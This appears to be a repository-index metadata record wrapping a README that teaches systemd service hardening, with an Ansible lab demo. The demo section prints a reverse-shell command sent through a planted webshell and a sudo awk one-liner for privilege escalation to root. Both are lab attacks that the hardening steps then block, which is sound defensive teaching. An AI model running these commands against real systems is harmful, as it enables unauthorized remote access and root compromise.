{"id":20350506,"url":"https://github.com/alegrey91/systemd-service-hardening","last_synced_at":"2025-08-20T16:32:32.878Z","repository":{"id":95107765,"uuid":"240322454","full_name":"alegrey91/systemd-service-hardening","owner":"alegrey91","description":"Basic guide to harden systemd services","archived":false,"fork":false,"pushed_at":"2020-05-18T07:05:19.000Z","size":516,"stargazers_count":247,"open_issues_count":0,"forks_count":6,"subscribers_count":12,"default_branch":"master","last_synced_at":"2024-12-09T06:51:33.145Z","etag":null,"topics":["hardening","linux","security","systemd"],"latest_commit_sha":null,"homepage":"","language":"PHP","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/alegrey91.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2020-02-13T17:39:22.000Z","updated_at":"2024-12-05T15:55:14.000Z","dependencies_parsed_at":"2023-05-26T17:15:27.820Z","dependency_job_id":null,"html_url":"https://github.com/alegrey91/systemd-service-hardening","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alegrey91%2Fsystemd-service-hardening","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alegrey91%2Fsystemd-service-hardening/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alegrey91%2Fsystemd-service-hardening/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alegrey91%2Fsystemd-service-hardening/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/alegrey91","download_url":"https://codeload.github.com/alegrey91/systemd-service-hardening/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":230438185,"owners_count":18225870,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["hardening","linux","security","systemd"],"created_at":"2024-11-14T22:30:55.409Z","updated_at":"2024-12-19T13:08:13.706Z","avatar_url":"https://github.com/alegrey91.png","language":"PHP","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Systemd Service Hardening\n\nThis is a demonstration about the powerful of **systemd**.\nFrom latest realeases, **systemd** implemented some interesting features. These features regards security, in particular the sandboxing.\nThe file `simplehttp.service` provides some of these directives made available by **systemd**.\nThe images show, step-by-step, how to harden the service using specific directives and check them with provided systemd tools.\n\n![](./systemd.jpg)\n\nby [alegrey91](https://github.com/alegrey91/systemd-service-hardening).\n\n## Debugging\n\nSystemd made available an interesting tool named **systemd-analyze**.\n\nThe `systemd-analyze security` command generates a report about security exposure for each service present in our distribution.\n\n![](./systemd-analyze.png)\n\nThis allow us to check the improvements applied to our **systemd** service, directive by directive.\n\nAs you can see, more of the **services** are actually marked as **UNSAFE**, this probably because not all applications still apply the features made available by **systemd**.\n\n\n\n## Getting Started\n\nLet's start from a basic command to start `python3 -m http.server` as a service:\n\n```[Unit]\nDescription=Job that runs the python http.server daemon\nDocumentation=https://docs.python.org/3/library/http.server.html\n\n[Service]\nType=simple\nExecStart=/usr/bin/python3 -m http.server\nExecStop=/bin/kill -9 $MAINPID\n\n[Install]\nWantedBy=multi-user.target\n```\n\nChecking the security exposure through `systemd-analyze security` we obtain the following result:\n\n![](./service-start.png)\n\nThe security value is actually **9.6**/**10** and is marked as **UNSAFE**.\n\nLet's see now, how to harden the current service to make it safer.\n\n**N.B.** Not all of the following directives will be useful for the current service. It's just a demonstration on how to reduce the exposure for a generic **systemd** service.\n\n### PrivateTmp\n\nCreates a file system namespace under `/tmp/systemd-private-*-[unit name]-*/tmp` rather than a shared `/tmp` or `/var/tmp`. Many of the unit files that ship with Red Hat Enterprise Linux include  this setting and it removes an entire class of vulnerabilities around  the prediction and replacement of files used in `/tmp`.  [4]\n\nThis is how the service appear after the insertion of the following directive:\n\n```\nDescription=Job that runs the python http.server daemon\nDocumentation=https://docs.python.org/3/library/http.server.html\n\n[Service]\nType=simple\nExecStart=/usr/bin/python3 -m http.server\nExecStop=/bin/kill -9 $MAINPID\n\n# Sandboxing features\nPrivateTmp=yes\n\n[Install]\nWantedBy=multi-user.target\n```\n\nThe result obtained from `systemd-analyze` is the following:\n\n`simplehttp.service                        9.2 UNSAFE    😨`\n\nGood! We lower down from **9.6** to **9.2**.\n\nLet's see how to improve the final result.\n\n### NoNewPrivileges\n\nPrevents the service and related child processes from escalating privileges. [4]\n\nAdd the following row:\n\n```NoNewPrivileges=true```\n\nThe result obtainer is now:\n\n```simplehttp.service                        9.0 UNSAFE    😨```\n\n### RestrictNamespaces\n\nRestrict all or a subset of namespaces to the service. Accepts `cgroup`, `ipc`, `net`, `mnt`, `pid`, `user`, and `uts`. [4]\n\nAdd the following row:\n\n```RestrictNamespaces=uts ipc pid user cgroup```\n\nAs you can see above, the `net` namespace has not been set due to the fact that the service needs to bind itself on a network interface.\n\nIsolating `net` from a network service will cause the uselessness of this.\n\n```simplehttp.service                        8.8 EXPOSED   😨```\n\n### Final results\n\nOnce we added the other directives to the service, we obtained a service like this:\n\n```[Unit]\nDescription=Job that runs the python http.server daemon\nDocumentation=https://docs.python.org/3/library/http.server.html\n\n[Service]\nType=simple\nExecStart=/usr/bin/python3 -m http.server\nExecStop=/bin/kill -9 $MAINPID\n\n# Sandboxing features\nPrivateTmp=yes\nNoNewPrivileges=true\nProtectSystem=strict\nCapabilityBoundingSet=CAP_NET_BIND_SERVICE CAP_DAC_READ_SEARCH\nRestrictNamespaces=uts ipc pid user cgroup\nProtectKernelTunables=yes\nProtectKernelModules=yes\nProtectControlGroups=yes\nPrivateDevices=yes\nRestrictSUIDSGID=true\nIPAddressAllow=192.168.1.0/24\n\n[Install]\nWantedBy=multi-user.target\n```\n\nReaching a really interesting result:\n\n```simplehttp.service                        4.9 OK       😃``` \n\nWell done! We obtained a good result passing from **9.6** to **4.9**, partially securing the entire system.\n\n\n\n## Demo\n\nIf you want to try by yourself to setup a common **systemd** service, I provided for you a basic **ansible** script to deploy a working environment to make some practice.\n\nThe ansible provisioner script is available under `ansible/` directory of the same repository.\n\nThis script deploy for you a little (vulnerable) environment to understand and configure the **php-fpm** **systemd** service, allowing you to reduce the attack surface, using some of the features listed above.\n\n### Scenario\n\nSuppose you have an **nginx** webserver which is hosting your php website. The scenario that I created, starts from the possibility to have a RCE, using the webshell uploaded by the attacker.\n\nOnce inside the system you'll be able to understand how, step-by-step, it's possible to reduce the attack surface just using some **systemd** feature.\n\n### Prerequirements\n\nTo use the ansible script, you'll need at least a **CentOS 8.1** system to deploy the entire installation.\n\n### Environment Setup\n\nOnce you installed the remote system, you are ready to deploy the environment with ansible following the steps below.\n\nFrom your local machine, copy your ssh keys onto the remote system:\n\n`ssh-copy-id root@your-webserver.ip`\n\nGo under the `ansible/` directory of this repository:\n\n`cd ansible/`\n\nDefine the `inventory` file replacing the conten of *ansible_host* variable with your webserver ip as shown below:\n\n```ini\n[php-webserver]\n\nwebserver ansible_host=your-webserver.ip\n```\n\nDeploy the environment with ansible:\n\n`ansible-playbook -i inventory -v main.yml -u root`\n\nOnce finished you are ready to start the demo.\n\n### Getting Started\n\nUsing your browser, you'll find the vulnerable service at http://your-webserver.ip/webshell.php.\n\nYou can gain a revers shell just using **netcat** from your local machine:\n\n`nc -lnvp 4444`, \n\nand put this command onto the webshell input form:\n\n`bash -i \u003e\u0026 /dev/tcp/your-local.ip/4444 0\u003e\u00261`.\n\nThe result is show in the image below:\n\n![](./webshell.png)\n\nAt this time you're ready to check step-by-step the improvements of **systemd** features.\n\n#### Step #1 (exploitation)\n\nOnce inside the system we can try to exploit it by searching for misconfigurations.\n\nOne of them is located into the `/etc/sudoers` file.\n\nWe can recognize this by typing the command `sudo -l`.\n\nThe result is shown below:\n\n`(root) NOPASSWD: /usr/bin/awk`\n\nThis means we can use `awk` as sudo.\n\nTo exploit this misconfiguration we can use the following command:\n\n`sudo /usr/bin/awk 'BEGIN {system(\"/bin/sh\")}'`\n\nAt this point we should have become the **root** user!\n\nBut, how can we protect ourselves form this kind of privilege escalation? The answer is explained on the following rows.\n\n#### Step #2 (hardenization)\n\nFirst of all, verify the security exposure of **php-fpm.service** by typing:\n\n`systemd-analyze security php-fpm`\n\nThe result is:\n\n`→ Overall exposure level for php-fpm.service: 9.2 UNSAFE 😨`.\n\nNow, edit the **php-fpm** service by typing:\n\n`systemctl edit --full php-fpm`,\n\nand add the following feature under the `[Service]` section:\n\n`NoNewPrivileges=true`\n\nThis permits to block some kind of privilege escalation from the current user to another (in out case from **apache** to **root**).\n\n#### Step #3 (verification)\n\nCheck the entered feature is available and typo errors are not presents:\n\n`systemd-analyze verify php-fpm.service`\n\nVerify the security exposure now:\n\n```bash\nsystemd-analyze security php-fpm.service\n→ Overall exposure level for php-fpm.service: 9.0 UNSAFE 😨\n```\n\nWe reduced the exposure of **0.2** points.\n\nRestart the php-fpm service:\n\n`systemctl restart php-fpm`,\n\nand try to repeat the exploitation.\n\n#### Step #4 (2nd exploitation)\n\nAs you can observe now, the command `sudo -l` report to us the following message:\n\n`sudo: effective uid is not 0, is sudo installed setuid root?`.\n\nThis means we have prevented the privilege escalation enabling the `NoNewPrivileges` feature!\n\n#### Conclusion\n\nAfter the demo, you can find the hardenized file for php-fpm **systemd** service under `ansible/file/php-fpm.service`.\n\n\n\n## Credits\n\nA special thanks to [ghibbo](https://github.com/ghibbo) for his help and support during the tests.\n\n\n\n## References\n\n1. https://lincolnloop.com/blog/sandboxing-services-systemd/\n2. https://dev.to/djmoch/hardening-services-with-systemd-2md7\n3. https://www.ctrl.blog/entry/systemd-service-hardening.html\n4. https://www.redhat.com/sysadmin/mastering-systemd\n5. http://man7.org/linux/man-pages/man7/capabilities.7.html\n6. https://tim.siosm.fr/blog/2018/09/02/linux-system-hardening-thanks-to-systemd/","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Falegrey91%2Fsystemd-service-hardening","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Falegrey91%2Fsystemd-service-hardening","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Falegrey91%2Fsystemd-service-hardening/lists"}